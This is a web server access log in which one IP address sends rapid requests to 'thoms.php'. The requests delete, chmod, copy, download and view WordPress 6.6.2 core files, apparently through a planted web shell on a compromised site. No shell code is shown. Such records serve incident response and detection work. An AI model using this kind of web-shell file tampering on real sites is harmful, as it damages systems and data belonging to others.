45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fjs HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=template-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22313 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?del=theme-compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=theme-compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?chmod=cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=theme-compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?chmod=class-wp-hook.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-hook.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=rss.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=class-wp-hook.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcertificates HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcertificates" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?chmod=customize&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=customize&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcertificates" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=customize&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?chmod=class-wp-block-editor-context.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-editor-context.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?del=http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?chmod=class-wp-block-editor-context.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=spl-autoload-compat.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=spl-autoload-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=spl-autoload-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22255 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-duotone.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-duotone.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:59 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-duotone.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?del=class-wp-paused-extensions-storage.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-paused-extensions-storage.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?chmod=default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-paused-extensions-storage.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?dl=l10n.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=l10n.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?del=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=l10n.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?del=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?chmod=SimplePie&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=SimplePie&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?chmod=widgets&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=widgets&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=SimplePie&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=widgets&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?chmod=class-wp-block-parser-frame.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-frame.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-deprecated.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22330 "https://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-frame.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?chmod=rss-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=rss-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?chmod=style-engine.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=style-engine.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=rss-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=style-engine.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?dl=template-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=template-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?del=class-wp-block-bindings-source.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-source.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=template-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-source.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-panel.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-panel.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-roles.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-roles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22220 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-panel.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-roles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?dl=feed-rss2-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=feed-rss2-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?dl=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=feed-rss2-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21906 "https://163.245.207.76:443/thoms.php?dl=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?del=class-wp-block-parser-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?chmod=class-wp-date-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-date-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?del=class-wp-block-parser-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-date-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?dl=feed-atom.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=feed-atom.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?chmod=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=feed-atom.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?del=class-wp-dependency.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-dependency.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?dl=nav-menu-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=nav-menu-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-dependency.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
